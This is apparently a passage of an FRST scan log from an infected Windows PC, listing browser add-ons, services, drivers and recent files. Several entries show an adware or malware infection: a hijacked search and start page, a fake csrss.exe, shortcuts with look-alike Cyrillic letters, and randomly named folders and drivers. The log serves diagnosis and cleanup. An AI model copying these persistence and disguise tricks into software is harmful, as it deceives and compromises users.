FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-05-07] (Google Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-05-07] (Google Inc.)
FF Plugin-x32: @unity3d.com/UnityPlayer,version=1.0 -> C:\Program Files (x86)\Unity\WebPlayer\loader\npUnity3D32.dll [2016-05-28] (Unity Technologies ApS)
FF Plugin-x32: Adobe Reader -> C:\Program Files (x86)\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll [2017-03-28] (Adobe Systems Inc.)
FF Plugin-x32: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Adobe\Adobe Creative Cloud\Utils\npAdobeAAMDetect32.dll [2016-04-07] (Adobe Systems)
FF Plugin HKU\S-1-5-21-2179928940-599623959-1496544258-1002: @lightspark.github.com/Lightspark;version=1 -> C:\Program Files (x86)\Lightspark 0.5.3-git\nplightsparkplugin.dll [No File]
FF Plugin HKU\S-1-5-21-2179928940-599623959-1496544258-1002: pandonetworks.com/PandoWebPlugin -> C:\Program Files (x86)\Pando Networks\Media Booster\npPandoWebPlugin.dll [2014-07-11] (Pando Networks)
FF Plugin HKU\S-1-5-21-2179928940-599623959-1496544258-1002: ubisoft.com/uplaypc -> C:\Program Files (x86)\Ubisoft\The Settlers 7 - Paths to a Kingdom\Data\Base\_Dbg\Bin\Release\orbit\npuplaypc.dll [2013-02-26] (Ubisoft)
FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\nppdf32.dll [2014-08-05] (Adobe Systems Inc.)
FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\nprpjplug.dll [2006-01-28] (RealNetworks, Inc.)
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\findit.xml [2017-06-29]
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\hhkup77i.xml [2017-03-16]
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\luck.xml [2017-03-16]
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\ourluckysites.xml [2017-04-01]
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\startpageing123.xml [2017-03-31]
FF SearchPlugin: C:\Program Files (x86)\mozilla firefox\browser\searchplugins\findit.xml [2017-06-29]
FF Extension: Flash Video Downloader - YouTube HD Download [4K] - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\extensions\artur.dubovoy@gmail.com [2016-05-28]
FF Extension: xRocket Toolbar - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\extensions\arthurj8283@gmail.com [2017-03-16] [not signed]
FF Extension: No Name - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\Extensions\amcontextmenu@loucypher [2017-06-29] [not signed]
FF Extension: Video Downloader Professional - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\Extensions\ffext_basicvideoext@startpage24.xpi [2016-05-10]
FF Extension: No Name - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\Extensions\{88c7f2aa-f93f-432c-8f0e-b7d85967a527}-trash [2011-05-01] [not signed]
FF Extension: SoundCloud Downloader - Technowise - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\Extensions\{c8d3bc80-0810-4d21-a2c2-be5f2b2832ac}.xpi [2015-12-27]
FF Extension: Skype Click to Call - C:\Program Files (x86)\Mozilla Firefox\browser\extensions\{82AF8DCA-6DE9-405D-BD5E-43525BDAD38A}.xpi [2014-07-14] [not signed]
FF HKLM\...\Thunderbird\Extensions: [eplgTb@eset.com] - C:\Program Files\ESET\ESET NOD32 Antivirus\Mozilla Thunderbird => not found
FF HKLM-x32\...\Firefox\Extensions: [iey.eaea@ilaiya.edu] - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\extensions\iey.eaea@ilaiya.edu => not found
FF HKLM-x32\...\Firefox\Extensions: [{ABDE892B-13A8-4d1b-88E6-365A6E755758}] - C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\Firefox\Ext => not found
FF HKLM-x32\...\Firefox\Extensions: [ext@flashenhancer.com] - C:\Program Files (x86)\AmiExt\flashEnhancer\ff => not found
FF HKLM-x32\...\Firefox\Extensions: [arthurj8283@gmail.com] - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\extensions\arthurj8283@gmail.com
FF HKLM-x32\...\Thunderbird\Extensions: [eplgTb@eset.com] - C:\Program Files\ESET\ESET NOD32 Antivirus\Mozilla Thunderbird => not found
Chrome:
=======
CHR Profile: C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default
CHR Extension: (Dokumenty Google) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2015-04-22]
CHR Extension: (Disk Google) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2015-12-27]
CHR Extension: (YouTube) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2015-12-27]
CHR Extension: (Vyhledávání Google) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf [2015-12-27]
CHR Extension: (DP1815) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\fjllbogbaogimpilgdginhalhhbmhiob [2014-08-09]
CHR Extension: (Tables) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\fngmhnnpilhplaeedifhccceomclgfbg [2017-06-29]
CHR Extension: (Dokumenty Google offline) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2016-03-16]
CHR Extension: (Platby Internetového obchodu Chrome) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2017-03-09]
CHR Extension: (Gmail) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2015-03-28]
CHR Extension: (Chrome Media Router) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm [2017-02-08]
CHR HKU\S-1-5-21-2179928940-599623959-1496544258-1002\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [fcfenmboojpjinhpgggodefccipikbpd] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [cgbealecnakbhfoeeipcnoboempfkbjd] - C:\Program Files (x86)\AmiExt\flashEnhancer\ch\flashEnhancer.crx <not found>
CHR HKLM-x32\...\Chrome\Extension: [lifbcibllhkdhoafpjfnlhfpfgnpldfl] - hxxps://clients2.google.com/service/update2/crx
StartMenuInternet: Google Chrome - C:\Program Files (x86)\Google\Chrome\Application\chrome.exe hxxp://www.ourluckysites.com/?type=sc&ts=14957 ... 1837918379
==================== Services (Whitelisted) ========================
(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
R2 AdobeUpdateService; C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ElevationManager\AdobeUpdateService.exe [694464 2016-04-07] (Adobe Systems Incorporated)
R2 AGSService; C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe [2246256 2017-05-18] (Adobe Systems, Incorporated)
R2 AMD FUEL Service; C:\Program Files\AMD\ATI.ACE\Fuel\Fuel.Service.exe [344064 2015-07-15] (Advanced Micro Devices, Inc.) [File not signed]
R2 AppmallosayoV; C:\ProgramData\\AppmallosayoV\\AppmallosayoV.exe [2465280 2017-06-29] (TODO: <Company name>) [File not signed]
S3 BEService; C:\Program Files (x86)\Common Files\BattlEye\BEService.exe [1536520 2017-06-24] ()
S2 ES lite Service; C:\Program Files (x86)\Gigabyte\EasySaver\ESSVR.EXE [68136 2009-08-24] ()
S3 IDriverT; C:\Program Files (x86)\Common Files\InstallShield\Driver\11\Intel 32\IDriverT.exe [69632 2005-04-04] (Macrovision Corporation) [File not signed]
R2 LightScribeService; C:\Program Files (x86)\Common Files\LightScribe\LSSrvc.exe [73728 2010-08-16] (Hewlett-Packard Company) [File not signed]
R2 MBAMService; C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe [4355024 2017-01-20] (Malwarebytes) [File not signed]
R2 MsMpSvc; C:\Program Files\Microsoft Security Client\MsMpEng.exe [119864 2016-11-14] (Microsoft Corporation)
R2 MSSQL$SONY_MEDIAMGR; C:\Program Files (x86)\Sony\Shared Plug-Ins\Media Manager\MSSQL$SONY_MEDIAMGR\Binn\sqlservr.exe [7520337 2002-12-17] (Microsoft Corporation) [File not signed]
S3 MSSQLServerADHelper; C:\Program Files (x86)\Microsoft SQL Server\80\Tools\Binn\sqladhlp.exe [66112 2002-12-17] (Microsoft Corporation) [File not signed]
S3 NisSrv; C:\Program Files\Microsoft Security Client\NisSrv.exe [361816 2016-11-14] (Microsoft Corporation)
R2 NMSAccessU; C:\Program Files (x86)\CDBurnerXP\NMSAccessU.exe [71096 2009-11-12] ()
S3 Origin Client Service; C:\Program Files (x86)\Origin\OriginClientService.exe [2120712 2016-05-10] (Electronic Arts)
R2 PnkBstrA; C:\Windows\SysWOW64\PnkBstrA.exe [76152 2016-05-10] ()
R2 SBSDWSCService; C:\Program Files (x86)\Spybot - Search & Destroy\SDWinSec.exe [1153368 2009-01-26] (Safer Networking Ltd.)
S3 SQLAgent$SONY_MEDIAMGR; C:\Program Files (x86)\Sony\Shared Plug-Ins\Media Manager\MSSQL$SONY_MEDIAMGR\Binn\sqlagent.EXE [311872 2002-12-17] (Microsoft Corporation) [File not signed]
S3 WinDefend; C:\Program Files\Windows Defender\mpsvc.dll [1011712 2013-05-27] (Microsoft Corporation)
S2 Windows; C:\Windows\SysWOW64\svchost.exe [20992 2009-07-14] (Microsoft Corporation)
S3 digiSPTIService64; "C:\Program Files\Avid\Pro Tools\digisptiservice64.exe" [X]
S2 PlaysService; "C:\Program Files (x86)\Raptr Inc\PlaysTV\plays_service.exe" [X]
S2 swpsvr; C:\ProgramData\Microsoft\Windows\system\appidsvr.dll [X]
S2 WindowsAppSvc; C:\ProgramData\Microsoft\Apps\common\helper.dll [X]
===================== Drivers (Whitelisted) ==========================
(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
R0 amdkmpfd; C:\Windows\System32\DRIVERS\amdkmpfd.sys [62152 2014-10-28] (Advanced Micro Devices, Inc.)
R2 AODDriver4.3; C:\Program Files\AMD\ATI.ACE\Fuel\amd64\AODDriver2.sys [59616 2014-02-11] (Advanced Micro Devices)
S1 avgtp; C:\Windows\system32\drivers\avgtpx64.sys [45856 2013-05-20] () [File not signed]
S3 BRDriver64; C:\ProgramData\BitRaider\BRDriver64.sys [75048 2014-03-23] (BitRaider)
R1 cfidsk; C:\Windows\System32\drivers\cfidsk.sys [196520 2017-06-20] ()
S3 dtlitescsibus; C:\Windows\System32\DRIVERS\dtlitescsibus.sys [30264 2017-03-16] (Disc Soft Ltd)
S3 dtliteusbbus; C:\Windows\System32\DRIVERS\dtliteusbbus.sys [47672 2017-03-16] (Disc Soft Ltd)
S3 ebdrv; C:\Windows\system32\DRIVERS\evbda.sys [3286016 2009-06-10] (Broadcom Corporation)
S3 huawei_wwanecm; C:\Windows\System32\DRIVERS\ew_juwwanecm.sys [213504 2011-07-12] (Huawei Technologies Co., Ltd.)
S3 igfx; C:\Windows\System32\DRIVERS\igdkmd64.sys [6112672 2009-06-16] (Intel Corporation) [File not signed]
S3 irsir; C:\Windows\System32\DRIVERS\irsir.sys [27648 2008-01-19] (Microsoft Corporation)
R0 MBAMSwissArmy; C:\Windows\System32\drivers\MBAMSwissArmy.sys [251832 2017-07-03] (Malwarebytes)
S3 MBAMWebProtection; C:\Windows\system32\drivers\mwac.sys [82720 2017-05-23] (Malwarebytes) [File not signed]
R0 MpFilter; C:\Windows\System32\DRIVERS\MpFilter.sys [295000 2016-08-25] (Microsoft Corporation)
R1 MpKsl4f7c0b98; c:\ProgramData\Microsoft\Microsoft Antimalware\Definition Updates\{94EDC583-B655-4337-B345-B7C89A7EC800}\MpKsl4f7c0b98.sys [44928 2017-07-03] (Microsoft Corporation)
S3 NisDrv; C:\Windows\System32\DRIVERS\NisDrvWFP.sys [135928 2016-08-25] (Microsoft Corporation)
S0 prohlp02; C:\Windows\SysWOW64\drivers\prohlp02.sys [111808 2004-05-13] (Protection Technology) [File not signed]
S0 prosync1; C:\Windows\SysWOW64\drivers\prosync1.sys [6944 2003-09-06] (Protection Technology) [File not signed]
R0 PxHlpa64; C:\Windows\System32\Drivers\PxHlpa64.sys [56336 2012-06-22] (Corel Corporation)
S0 sfhlp01; C:\Windows\SysWOW64\drivers\sfhlp01.sys [4832 2003-12-01] (Protection Technology) [File not signed]
R0 sptd; C:\Windows\System32\Drivers\sptd.sys [394296 2017-03-16] (Duplex Secure Ltd.)
S3 StarOpen; C:\Windows\System32\Drivers\StarOpen.sys [5504 2009-11-12] ()
S3 StarOpen; C:\Windows\SysWow64\Drivers\StarOpen.sys [7168 2009-11-12] () [File not signed]
S3 XSplit_Dummy; C:\Windows\System32\drivers\xspltspk.sys [26200 2014-07-02] (SplitmediaLabs Limited)
R3 YMIDUSBW; C:\Windows\System32\drivers\ymidusbx64.sys [51496 2013-04-04] (Yamaha Corporation)
S2 AODDriver4.01; \??\C:\Program Files\ATI Technologies\ATI.ACE\Fuel\amd64\AODDriver2.sys [X]
S3 ATICDSDr; \??\C:\Windows\TEMP\ATICDSDr.sys [X]
S3 cpuz132; \??\C:\Users\Uzivatel\AppData\Local\Temp\cpuz132\cpuz132_x64.sys [X]
S1 eddcraht; \??\C:\Windows\system32\drivers\eddcraht.sys [X]
S3 gdrv; \??\C:\Windows\gdrv.sys [X]
U2 glory; no ImagePath
S3 LVPr2M64; system32\DRIVERS\LVPr2M64.sys [X]
S3 LVRS64; system32\DRIVERS\lvrs64.sys [X]
S3 LVUVC64; system32\DRIVERS\lvuvc64.sys [X]
S1 lwedyski; \??\C:\Windows\system32\drivers\lwedyski.sys [X]
S1 mewhqimk; \??\C:\Windows\system32\drivers\mewhqimk.sys [X]
S1 prodrv06; \SystemRoot\System32\drivers\prodrv06.sys [X]
S1 qvpajadl; \??\C:\Windows\system32\drivers\qvpajadl.sys [X]
U2 snare; no ImagePath
S3 WinRing0_1_2_0; \??\C:\Program Files (x86)\Razer\Razer Game Booster\Driver\WinRing0x64.sys [X]
==================== NetSvcs (Whitelisted) ===================
(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
==================== One Month Created files and folders ========
(If an entry is included in the fixlist, the file/folder will be moved.)
2017-07-03 21:30 - 2017-07-03 21:31 - 00000003 ____H C:\ProgramData\cm-lock
2017-07-03 10:05 - 2017-07-03 10:05 - 04110280 _____ C:\Users\Uzivatel\Downloads\adwcleaner_6.047 (2).exe
2017-07-02 12:36 - 2017-07-02 12:36 - 01130328 _____ (Google Inc.) C:\Users\Uzivatel\Downloads\ChromeSetup (1).exe
2017-07-02 12:34 - 2017-07-02 12:34 - 04110280 _____ C:\Users\Uzivatel\Downloads\adwcleaner_6.047(1).exe
2017-07-02 12:24 - 2017-07-02 12:24 - 04110280 _____ C:\Users\Uzivatel\Downloads\adwcleaner_6.047 (1).exe
2017-07-02 12:20 - 2017-07-02 12:20 - 04110280 _____ C:\Users\Uzivatel\Desktop\adwcleaner_6.047.exe
2017-07-01 21:58 - 2017-07-01 21:58 - 00003162 _____ C:\Windows\System32\Tasks\{9A61D488-CAEF-4292-8C11-109B7A7214E7}
2017-07-01 21:57 - 2017-07-01 21:57 - 00003162 _____ C:\Windows\System32\Tasks\{975EC48D-76CF-4AB5-89BE-0F81A3F1DAEC}
2017-07-01 21:56 - 2017-07-01 21:56 - 00003162 _____ C:\Windows\System32\Tasks\{31BA5A72-3AC8-4833-A0DA-006CF4475CD1}
2017-06-30 16:33 - 2017-06-30 16:33 - 04110280 _____ C:\Users\Uzivatel\Downloads\adwcleaner_6.047.exe
2017-06-30 14:52 - 2017-07-01 23:02 - 00001042 _____ C:\Users\DefaultAppPool\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
2017-06-29 19:09 - 2017-07-03 10:50 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\ooq45k0gz3k
2017-06-29 19:09 - 2017-06-29 19:09 - 00000000 ____D C:\Program Files\I59ZA8EZ7K
2017-06-29 18:37 - 2017-06-29 18:37 - 00013729 ____R C:\Windows\system32\Drivers\etc\hosts.20170629-183755.backup
2017-06-29 18:37 - 2017-06-29 18:37 - 00013394 ____R C:\Windows\system32\Drivers\etc\hosts.20170629-183756.backup
2017-06-29 18:37 - 2017-06-29 18:37 - 00009656 ____R C:\Windows\system32\Drivers\etc\hosts.20170629-183757.backup
2017-06-29 16:32 - 2017-06-29 16:33 - 00000000 ____D C:\ProgramData\AppmallosayoVs
2017-06-29 16:30 - 2017-07-01 10:54 - 00000000 ____D C:\ProgramData\AppmallosayoV
2017-06-29 16:20 - 2017-07-03 10:50 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\1fqb43r0ntz
2017-06-29 16:20 - 2017-06-29 16:20 - 00000000 ____D C:\Program Files\G05HC4PZV0
2017-06-29 16:19 - 2017-06-29 16:19 - 00000270 __RSH C:\Users\Uzivatel\ntuser.pol
2017-06-29 16:12 - 2017-06-29 18:43 - 00003164 _____ C:\Windows\System32\Tasks\34a6735dd8363e8db5cc880809001e84
2017-06-29 16:10 - 2017-07-03 23:07 - 00016682 _____ C:\Windows\System32\Tasks\eStark
2017-06-29 16:09 - 2017-06-29 17:38 - 00000000 ____D C:\Program Files (x86)\UCBrowser
2017-06-29 16:08 - 2017-07-03 10:49 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\slt0o43qupq
2017-06-29 16:08 - 2017-06-29 16:08 - 00000000 ____D C:\Program Files\SWG63XXW0V
2017-06-29 16:08 - 2017-06-29 16:08 - 00000000 ____D C:\Program Files\FNJLTCS41J
2017-06-29 16:07 - 2017-07-03 10:48 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\tqvg0555bo0
2017-06-29 16:07 - 2017-07-01 22:16 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\xgmrsj1ys5i
2017-06-29 16:07 - 2017-06-30 15:19 - 00000000 ____D C:\Program Files (x86)\u1f3jffxnwl
2017-06-29 16:07 - 2017-06-29 16:24 - 00000270 __RSH C:\ProgramData\ntuser.pol
2017-06-29 16:07 - 2017-06-29 16:07 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\iqglfixjuar
2017-06-29 16:07 - 2017-06-29 16:07 - 00000000 ____D C:\Program Files\4SYXRXP5F6
2017-06-29 16:06 - 2017-06-29 16:06 - 01625824 _____ (The OpenSSL Project, hxxp://www.openssl.org/) C:\Windows\libeay32.dll
2017-06-29 16:06 - 2017-06-29 16:06 - 01559319 _____ (Microsoft Corporation) C:\Windows\csrss.exe
2017-06-29 16:06 - 2017-06-29 16:06 - 00608117 _____ C:\Windows\libcurl-4.dll
2017-06-29 16:06 - 2017-06-29 16:06 - 00054784 _____ (MingW-W64 Project. All rights reserved.) C:\Windows\libwinpthread-1.dll
2017-06-29 16:06 - 2017-06-29 16:06 - 00002166 ___RS C:\Users\Uzivatel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Intеrnet Ехрlorer.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00002111 ___RS C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Gооgle Chrоmе.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00002009 ___RS C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Моzillа Firefoх.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00001921 ___RS C:\Users\Public\Desktop\Моzillа Firefoх.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00001916 ___RS C:\Users\Public\Desktop\Gооglе Chrоme.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00000000 ____D C:\Windows\Azart
2017-06-29 16:06 - 2017-06-29 16:06 - 00000000 ____D C:\Program Files\0KIQQIA15D
2017-06-29 16:05 - 2017-06-29 16:05 - 00001118 _____ C:\Users\Uzivatel\Desktop\Играть в Dragon Knight.lnk
2017-06-28 14:38 - 2017-06-28 14:38 - 00051629 _____ C:\Windows\uninstaller.dat
2017-06-24 14:30 - 2017-06-24 14:43 - 00000000 ____D C:\Users\Uzivatel\Documents\Argo
2017-06-20 08:42 - 2017-06-20 08:42 - 00196520 _____ C:\Windows\system32\Drivers\cfidsk.sys
2017-06-16 16:56 - 2017-06-02 10:28 - 02317824 _____ (Microsoft Corporation) C:\Windows\system32\tquery.dll
2017-06-16 16:56 - 2017-06-02 10:28 - 02222080 _____ (Microsoft Corporation) C:\Windows\system32\mssrch.dll
2017-06-16 16:56 - 2017-06-02 10:10 - 00733696 _____ (Microsoft Corporation) C:\Windows\HelpPane.exe
2017-06-16 16:56 - 2017-06-02 10:09 - 01549824 _____ (Microsoft Corporation) C:\Windows\SysWOW64\tquery.dll
2017-06-16 16:56 - 2017-06-02 10:09 - 01400320 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssrch.dll
2017-06-16 16:56 - 2017-05-14 22:19 - 25738752 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.dll
2017-06-16 16:56 - 2017-05-14 21:55 - 05975040 _____ (Microsoft Corporation) C:\Windows\system32\jscript9.dll
2017-06-16 16:56 - 2017-05-14 21:11 - 20274688 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.dll
2017-06-16 16:56 - 2017-05-14 20:54 - 15252992 _____ (Microsoft Corporation) C:\Windows\system32\ieframe.dll
2017-06-16 16:56 - 2017-05-14 20:52 - 03240960 _____ (Microsoft Corporation) C:\Windows\system32\wininet.dll
2017-06-16 16:56 - 2017-05-14 20:44 - 04549120 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9.dll
2017-06-16 16:56 - 2017-05-14 20:30 - 13664768 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieframe.dll
2017-06-16 16:56 - 2017-05-14 20:15 - 02767872 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wininet.dll
2017-06-16 16:56 - 2017-05-12 20:26 - 05547752 _____ (Microsoft Corporation) C:\Windows\system32\ntoskrnl.exe
2017-06-16 16:56 - 2017-05-12 20:22 - 00806912 _____ (Microsoft Corporation) C:\Windows\system32\usp10.dll
2017-06-16 16:56 - 2017-05-12 20:07 - 04001000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ntkrnlpa.exe
2017-06-16 16:56 - 2017-05-12 20:07 - 03945704 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ntoskrnl.exe
2017-06-16 16:56 - 2017-05-12 19:52 - 03222528 _____ (Microsoft Corporation) C:\Windows\system32\win32k.sys
2017-06-16 16:56 - 2017-05-10 17:29 - 14183936 _____ (Microsoft Corporation) C:\Windows\system32\shell32.dll
2017-06-16 16:56 - 2017-05-10 17:14 - 02651136 _____ (Microsoft Corporation) C:\Windows\system32\wuaueng.dll
2017-06-16 16:56 - 2017-05-10 17:12 - 12880896 _____ (Microsoft Corporation) C:\Windows\SysWOW64\shell32.dll
2017-06-16 16:56 - 2017-05-09 17:30 - 00757248 _____ (Microsoft Corporation) C:\Windows\system32\win32spl.dll
2017-06-16 16:56 - 2017-04-28 00:50 - 03550208 _____ (Microsoft Corporation) C:\Windows\SysWOW64\D3DCompiler_47.dll
2017-06-16 16:56 - 2017-04-12 15:05 - 04296704 _____ (Microsoft Corporation) C:\Windows\system32\D3DCompiler_47.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00778240 _____ (Microsoft Corporation) C:\Windows\system32\mssvp.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00491520 _____ (Microsoft Corporation) C:\Windows\system32\mssph.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00288256 _____ (Microsoft Corporation) C:\Windows\system32\mssphtb.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00115200 _____ (Microsoft Corporation) C:\Windows\system32\mssitlb.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00099840 _____ (Microsoft Corporation) C:\Windows\system32\mssprxy.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00075264 _____ (Microsoft Corporation) C:\Windows\system32\msscntrs.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00014336 _____ (Microsoft Corporation) C:\Windows\system32\msshooks.dll
2017-06-16 16:55 - 2017-06-02 10:11 - 00591872 _____ (Microsoft Corporation) C:\Windows\system32\SearchIndexer.exe
2017-06-16 16:55 - 2017-06-02 10:11 - 00249856 _____ (Microsoft Corporation) C:\Windows\system32\SearchProtocolHost.exe
2017-06-16 16:55 - 2017-06-02 10:10 - 00113664 _____ (Microsoft Corporation) C:\Windows\system32\SearchFilterHost.exe
2017-06-16 16:55 - 2017-06-02 10:09 - 00666624 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssvp.dll
2017-06-16 16:55 - 2017-06-02 10:09 - 00337408 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssph.dll
2017-06-16 16:55 - 2017-06-02 10:09 - 00197120 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssphtb.dll
2017-06-16 16:55 - 2017-06-02 10:09 - 00104448 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssitlb.dll
2017-06-16 16:55 - 2017-06-02 10:09 - 00059392 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msscntrs.dll
2017-06-16 16:55 - 2017-06-02 10:09 - 00034816 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssprxy.dll
2017-06-16 16:55 - 2017-06-02 09:58 - 00427520 _____ (Microsoft Corporation) C:\Windows\SysWOW64\SearchIndexer.exe
2017-06-16 16:55 - 2017-06-02 09:58 - 00164352 _____ (Microsoft Corporation) C:\Windows\SysWOW64\SearchProtocolHost.exe
2017-06-16 16:55 - 2017-06-02 09:57 - 00086528 _____ (Microsoft Corporation) C:\Windows\SysWOW64\SearchFilterHost.exe
2017-06-16 16:55 - 2017-06-02 09:57 - 00009728 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msshooks.dll
2017-06-16 16:55 - 2017-05-21 06:28 - 00154856 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\ksecpkg.sys
2017-06-16 16:55 - 2017-05-21 06:28 - 00095464 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\ksecdd.sys
2017-06-16 16:55 - 2017-05-21 06:24 - 01460736 _____ (Microsoft Corporation) C:\Windows\system32\lsasrv.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 01212928 _____ (Microsoft Corporation) C:\Windows\system32\rpcrt4.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00730624 _____ (Microsoft Corporation) C:\Windows\system32\kerberos.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00690688 _____ (Microsoft Corporation) C:\Windows\system32\adtschema.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00463872 _____ (Microsoft Corporation) C:\Windows\system32\certcli.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00345600 _____ (Microsoft Corporation) C:\Windows\system32\schannel.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00316928 _____ (Microsoft Corporation) C:\Windows\system32\msv1_0.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00312320 _____ (Microsoft Corporation) C:\Windows\system32\ncrypt.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00210432 _____ (Microsoft Corporation) C:\Windows\system32\wdigest.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00190464 _____ (Microsoft Corporation) C:\Windows\system32\rpchttp.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00146432 _____ (Microsoft Corporation) C:\Windows\system32\msaudite.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00135680 _____ (Microsoft Corporation) C:\Windows\system32\sspicli.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00123904 _____ (Microsoft Corporation) C:\Windows\system32\bcrypt.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00086528 _____ (Microsoft Corporation) C:\Windows\system32\TSpkg.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00060416 _____ (Microsoft Corporation) C:\Windows\system32\msobjs.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00043520 _____ (Microsoft Corporation) C:\Windows\system32\cryptbase.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00028672 _____ (Microsoft Corporation) C:\Windows\system32\sspisrv.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00028160 _____ (Microsoft Corporation) C:\Windows\system32\secur32.dll
